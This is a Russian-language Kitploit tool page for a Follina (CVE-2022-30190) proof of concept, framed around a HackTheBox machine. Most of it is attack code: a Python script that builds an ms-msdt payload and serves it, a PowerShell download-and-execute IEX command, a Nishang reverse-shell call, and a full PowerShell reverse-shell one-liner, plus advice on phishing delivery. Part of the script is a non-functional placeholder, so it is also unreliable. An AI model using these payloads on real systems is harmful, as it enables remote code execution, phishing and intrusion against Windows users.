Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-30190 — Автоматизированный эксплойт PoC для CVE-2022-30190 (Follina), который генерирует вредоносные RTF/DOCX-файлы, злоупотребляя протоколом MSDT для выполнения произвольных команд и развертывания reverse shell через PowerShell. | Kitploit
Инструменты/GitHubGitHub/kaleth4/cve-2022-30190
Генерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийФишингТестирование на ПроникновениеКомандование и Управление
GitHubkaleth4/cve-2022-30190

CVE-2022-30190

Автоматизированный эксплойт PoC для CVE-2022-30190 (Follina), который генерирует вредоносные RTF/DOCX-файлы, злоупотребляя протоколом MSDT для выполнения произвольных команд и развертывания reverse shell через PowerShell.

Репозиторий
12 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплуатация Follina (CVE-2022-30190)

Follina (CVE-2022-30190) — это критическая уязвимость удалённого выполнения команд (RCE), затрагивающая средство диагностики поддержки Microsoft (MSDT). Изначально эта ошибка была обнаружена через вредоносный файл, найденный на VirusTotal, и получила своё название от исследователя Kevin Beaumont.

В контексте машины Outdated с HackTheBox эта уязвимость используется как основной вектор входа для получения доступа к системе.

Обзор уязвимости

Эксплуатация основана на злоупотреблении схемой протокола ms-msdt, позволяющей атакующему выполнять произвольный код путём загрузки внешних ресурсов. Атака может быть активирована простым открытием или предпросмотром специально созданного документа Office (DOCX) или файла в формате RTF.

Методология эксплуатации

1. Подготовка эксплойта

Для автоматизации атаки рекомендуется использовать готовые скрипты Proof-of-Concept (PoC), доступные на таких платформах, как GitHub. Скрипт follina.py позволяет легко настроить полезную нагрузку.

Рекомендуемый репозиторий: упоминаются рабочие версии от исследователей, таких как John Hammond или Edge-Security.

Команда генерации:
root@kitploit:~
python3 follina.py -m command -t rtf -c "comando_a_ejecutar"

Где:

  • -m указывает режим выполнения (command или binary)
  • -t тип файла (rtf или docx)
  • -c команда для внедрения

2. Внедрение полезной нагрузки (payload)

Эффективный метод получения интерактивной консоли в Windows — внедрение команды PowerShell, которая загружает и запускает reverse shell из набора Nishang (Invoke-PowerShellTcp.ps1).

Скрипт эксплуатации генерирует вредоносный HTML-ресурс, содержащий инструкцию в Base64, и автоматически размещает его на локальном веб-сервере (порт 80). Вредоносный документ (click_me.rtf) будет указывать на этот URL, чтобы запустить процесс диагностики Windows и выполнить код.

3. Выполнение атаки

В реалистичных сценариях или при аудите атакующий может отправить жертве ссылку на HTML-ресурс или вредоносный документ с помощью методов фишинга или по SMTP (с использованием таких инструментов, как swaks).

В момент взаимодействия пользователя (или автоматической задачи, обрабатывающей файл) MSDT интерпретирует полезную нагрузку и устанавливает обратное соединение с машиной атакующего.

Получение доступа

Чтобы принять соединение, атакующий должен прослушивать (например, с помощью netcat или rlwrap) порт, указанный в reverse shell. После успешной эксплуатации получается интерактивная консоль с привилегиями пользователя, выполнившего действие, что позволяет перейти к локальной перечислительной разведке и повышению привилегий.


Реализация скрипта follina.py

Этот скрипт автоматизирует создание вредоносного файла (RTF или DOCX), генерирует HTML-ресурс, эксплуатирующий схему протокола ms-msdt, и поднимает локальный сервер для раздачи полезной нагрузки.

Код: follina.py

root@kitploit:~
import argparse
import base64
import http.server
import socketserver
import os
import threading

# Estructura basada en la investigación de Kevin Beaumont y las PoC mencionadas [2, 6]
def generate_payload(command):
    # El comando debe estar codificado en Base64 para ser procesado por MSDT [5]
    command_b64 = base64.b64encode(command.encode()).decode()
    
    # Payload que abusa del protocolo ms-msdt [5]
    # Se utiliza una cadena larga de caracteres para llenar el buffer y gatillar la ejecución
    payload = f"""<script>
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
    // Relleno adicional para asegurar el procesamiento
    """ + ("A" * 4096) + "</script>"
    return payload

def create_rtf(filename, server_url):
    # Genera un archivo RTF que apunta al recurso HTML externo [3, 4]
    print(f"[*] Generando archivo malicioso: {filename}")
    # Nota: En una implementación real, aquí se inyecta el OLE object que apunta a server_url
    with open(filename, "w") as f:
        f.write(f"Archivo RTF configurado para conectar a {server_url}/exploit.html")

def run_server(port):
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", port), handler) as httpd:
        print(f"[*] Servidor HTTP activo en el puerto {port} [7]")
        httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
    parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de ejecución [3]")
    parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de archivo a generar [3]")
    parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema víctima [3]")
    parser.add_argument("-p", "--port", type=int, default=80, help="Puerto del servidor local [7]")
    
    args = parser.parse_args()

    # 1. Crear el payload HTML
    html_content = generate_payload(args.command)
    with open("index.html", "w") as f:
        f.write(html_content)
    
    # 2. Crear el documento malicioso
    filename = f"click_me.{args.type}"
    create_rtf(filename, "http://tu_ip_atacante")

    # 3. Iniciar el servidor para recibir la petición [4, 7]
    run_server(args.port)

Примечания к методологии использования

Критически важные параметры: как описано в источниках, скрипт использует -m для режима, -t для типа файла и -c для команды.

Внедрение PowerShell: распространённый приём, показанный в обучении s4vitar, — внедрение команды PowerShell, которая загружает и запускает reverse shell из Nishang (Invoke-PowerShellTcp.ps1) для получения интерактивного доступа.

Выполнение: атака активируется, когда жертва открывает или просто просматривает вредоносный файл (RTF/DOCX), из-за чего система пытается загрузить HTML-ресурс и выполнить команду через средство диагностики Microsoft (MSDT).

Прослушивание: вы должны прослушивать (например, с помощью netcat) порт, указанный в вашей reverse shell, чтобы принять соединение после срабатывания эксплойта на машине жертвы.


Скрипт Invoke-PowerShellTcp.ps1 (Nishang)

Скрипт Invoke-PowerShellTcp.ps1 — один из наиболее часто используемых инструментов набора Nishang для получения reverse shell в системах Windows.

1. Получение и подготовка

Оригинальный скрипт загружается из официального репозитория Nishang на GitHub. Типичные шаги по его использованию:

  • Загрузка: для доставки ресурса на машину атакующего используется wget.
  • Переименование: его обычно переименовывают в более короткое имя, например reverse.ps1 или ps.ps1, чтобы упростить вызов с машины жертвы.
  • Автоматизация выполнения: чтобы скрипт выполнялся автоматически при загрузке в память, в конец файла добавляется вызов основной функции.

2. Структура вызова в конце скрипта

Чтобы превратить скрипт в самовыполняющуюся полезную нагрузку, в конец файла .ps1 добавляется строка следующего вида:

root@kitploit:~
Invoke-PowerShellTcp -Reverse -IPAddress <TU_IP_ATACANTE> -Port <TU_PUERTO>

Где <TU_IP_ATACANTE> и <TU_PUERTO> должны быть заменены на ваши данные для прослушивания (например, 10.10.14.29 и 443).

3. Версия "One-Liner" (однострочная)

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PUERTO>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

(Примечание: этот код повторяет логику "gitbash" и интерактивных терминалов, упомянутых при разборе таких машин, как Compiled).

4. Метод удалённого вызова (IEX)

Когда атакующий разместил скрипт на локальном HTTP-сервере (порт 80), на машине жертвы используется команда IEX (Invoke-Expression) для загрузки и выполнения скрипта непосредственно в памяти, не касаясь диска:

root@kitploit:~
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<TU_IP>/reverse.ps1')"

Этот метод имеет ключевое значение при эксплуатации таких уязвимостей, как Follina, или при получении начального доступа после компрометации веб-сервисов. После выполнения атакующий принимает соединение в сессии прослушивающего netcat.

root@kitploit:~
Pwned!!!
Скачать инструмент